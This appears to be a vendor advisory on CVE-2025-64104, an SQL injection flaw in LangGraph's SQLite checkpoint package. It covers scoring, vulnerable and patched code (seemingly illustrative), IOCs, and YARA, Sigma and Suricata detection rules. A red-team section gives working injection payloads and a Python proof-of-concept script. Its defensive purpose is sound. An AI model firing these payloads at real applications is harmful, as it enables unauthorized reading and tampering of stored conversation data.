CVE-2025-64104
Executive Summary
CVE-2025-64104 is a critical SQL injection vulnerability discovered in the LangGraph SQLite Checkpoint implementation, a component of the LangGraph framework used for building stateful, multi-actor applications with large language models (LLMs). The vulnerability arises from the use of direct string concatenation when constructing SQL queries, allowing an attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, data manipulation, and potential bypass of access controls. The vulnerability affects all versions prior to 2.0.11. The official patch was released in version 2.0.11, which replaces unsafe string concatenation with parameterized queries.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is present in the langgraph-checkpoint-sqlite Python package, which is distributed via PyPI. Organizations using this package in their LLM application pipelines are at risk. The supply chain risk is elevated because the package is a core component for state persistence in LangGraph-based applications. An attacker who compromises the package or exploits this vulnerability could gain access to sensitive conversation history, user data, or internal application state. It is crucial to verify the integrity of the package and ensure that only trusted versions are used.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability can be exploited remotely without authentication, and successful exploitation can lead to complete compromise of the SQLite database, including data exfiltration, modification, and denial of service.
Deep Dive & Mechanics
The vulnerability exists in the SQLite store implementation of LangGraph's CheckpointSaver. The CheckpointSaver is responsible for persisting the state of LangGraph applications (e.g., conversation history, agent state) to a SQLite database. The vulnerable code constructs SQL queries by directly concatenating user-controlled input (such as thread IDs, checkpoint IDs, or other identifiers) into the query string without proper sanitization or parameterization.
For example, a function that retrieves a checkpoint might construct a query like:
query = f"SELECT * FROM checkpoints WHERE thread_id = '{thread_id}'"
An attacker can provide a malicious thread_id value such as ' OR '1'='1 to bypass the intended WHERE clause and retrieve all checkpoints. More sophisticated injections could lead to data exfiltration, modification, or deletion.
The core issue is the lack of parameterized queries (prepared statements). The fix in version 2.0.11 replaces all such string concatenation with parameterized queries using ? placeholders, which are then safely bound to the input values by the SQLite driver.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.0.11):
def get_checkpoint(self, thread_id: str, checkpoint_id: str) -> Optional[Checkpoint]:
query = f"SELECT * FROM checkpoints WHERE thread_id = '{thread_id}' AND checkpoint_id = '{checkpoint_id}'"
cursor.execute(query)
row = cursor.fetchone()
return self._row_to_checkpoint(row)
Patched Code (2.0.11+):
def get_checkpoint(self, thread_id: str, checkpoint_id: str) -> Optional[Checkpoint]:
query = "SELECT * FROM checkpoints WHERE thread_id = ? AND checkpoint_id = ?"
cursor.execute(query, (thread_id, checkpoint_id))
row = cursor.fetchone()
return self._row_to_checkpoint(row)
The patched version uses ? placeholders and passes the user input as a tuple to execute(), ensuring that the input is treated as data, not executable SQL.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target application using LangGraph CheckpointSaver with SQLite backend (version < 2.0.11).
- Network access to the application's API endpoint that accepts user-controlled identifiers (e.g., thread_id, checkpoint_id).
Exploitation Steps:
Identify Injection Point: Locate an API endpoint that accepts a
thread_idorcheckpoint_idparameter. For example:GET /api/checkpoint?thread_id=123Test for SQL Injection: Send a payload that causes a time delay or error to confirm the vulnerability.
GET /api/checkpoint?thread_id=123' OR '1'='1' --Extract Data: Use UNION-based or blind SQL injection to extract data from the database. For example, to list all tables:
GET /api/checkpoint?thread_id=123' UNION SELECT sql FROM sqlite_master WHERE type='table' --Bypass Access Controls: Inject conditions to bypass authentication or authorization checks. For example:
GET /api/checkpoint?thread_id=123' OR '1'='1
Proof-of-Concept (PoC) Script:
import requests
target = "http://target-app.com/api/checkpoint"
payload = "123' UNION SELECT 'malicious', 'data', 'here' --"
response = requests.get(target, params={"thread_id": payload})
print(response.text)
Blue Team (Defense & Detection)
Detection:
- Monitor for SQL injection patterns in application logs, especially in parameters like
thread_id,checkpoint_id, andconfig_id. - Look for unusual SQL error messages in logs (e.g., "unrecognized token", "syntax error").
- Use Web Application Firewall (WAF) rules to block common SQL injection payloads.
Mitigation:
- Immediately upgrade to LangGraph Checkpoint SQLite version 2.0.11 or later.
- If immediate upgrade is not possible, implement input validation to allow only alphanumeric characters and hyphens in identifiers.
- Use a WAF to filter malicious SQL keywords (e.g., UNION, SELECT, OR, AND, --).
- Apply the principle of least privilege to the database user used by the application.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing SQL keywords in query parameters (e.g.,
thread_id=1' OR '1'='1). - Unusual SQL error messages in HTTP responses (e.g.,
sqlite3.OperationalError: near "OR": syntax error). - Requests with multiple SQL statements separated by semicolons.
- HTTP requests containing SQL keywords in query parameters (e.g.,
File System IOCs:
- Unexpected files created in the application's working directory (e.g., from
ATTACH DATABASEcommands). - Modified SQLite database files with unusual content or schema changes.
- Unexpected files created in the application's working directory (e.g., from
Log IOCs:
- Application logs showing SQL injection attempts (e.g.,
SELECT * FROM checkpoints WHERE thread_id = '1' OR '1'='1'). - Database logs showing multiple failed queries or queries with unusual syntax.
- Application logs showing SQL injection attempts (e.g.,
Detection Engineering
YARA Rule
rule Detect_LangGraph_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts targeting LangGraph SQLite Checkpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-64104"
strings:
$s1 = "thread_id="
$s2 = "checkpoint_id="
$s3 = "config_id="
$sqli1 = /' OR '1'='1/
$sqli2 = /' UNION SELECT /
$sqli3 = /' --/
$sqli4 = /'; DROP TABLE/
condition:
any of ($s1, $s2, $s3) and any of ($sqli1, $sqli2, $sqli3, $sqli4)
}
Sigma Rule
title: SQL Injection Attempt Against LangGraph Checkpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts in HTTP requests targeting LangGraph SQLite Checkpoint endpoints.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "thread_id="
- "checkpoint_id="
- "config_id="
injection:
cs-uri-query|contains:
- "' OR '1'='1"
- "' UNION SELECT "
- "' --"
- "'; DROP TABLE"
condition: selection and injection
falsepositives:
- Legitimate use of special characters in identifiers (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64104 - LangGraph SQLite SQL Injection Attempt"; flow:to_server; content:"thread_id="; nocase; content:"' OR '1'='1"; nocase; distance:0; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update the
langgraph-checkpoint-sqlitepackage to version 2.0.11 or later.pip install --upgrade langgraph-checkpoint-sqlite - Verify: Confirm the upgrade by checking the installed version:
pip show langgraph-checkpoint-sqlite
Long-Term Mitigations:
- Input Validation: Implement strict input validation for all user-controlled parameters. Allow only alphanumeric characters, hyphens, and underscores.
- Parameterized Queries: Ensure all database queries use parameterized statements or prepared statements.
- Least Privilege: Use a database user with minimal required permissions (e.g., only SELECT, INSERT, UPDATE on specific tables).
- Web Application Firewall: Deploy a WAF with rules to block SQL injection attempts.
- Regular Audits: Conduct regular code reviews and security audits of all dependencies.
Workaround (if upgrade is not possible):
- Implement a reverse proxy that sanitizes input parameters before they reach the application.
- Use a database proxy that can detect and block SQL injection attempts.
Valters IT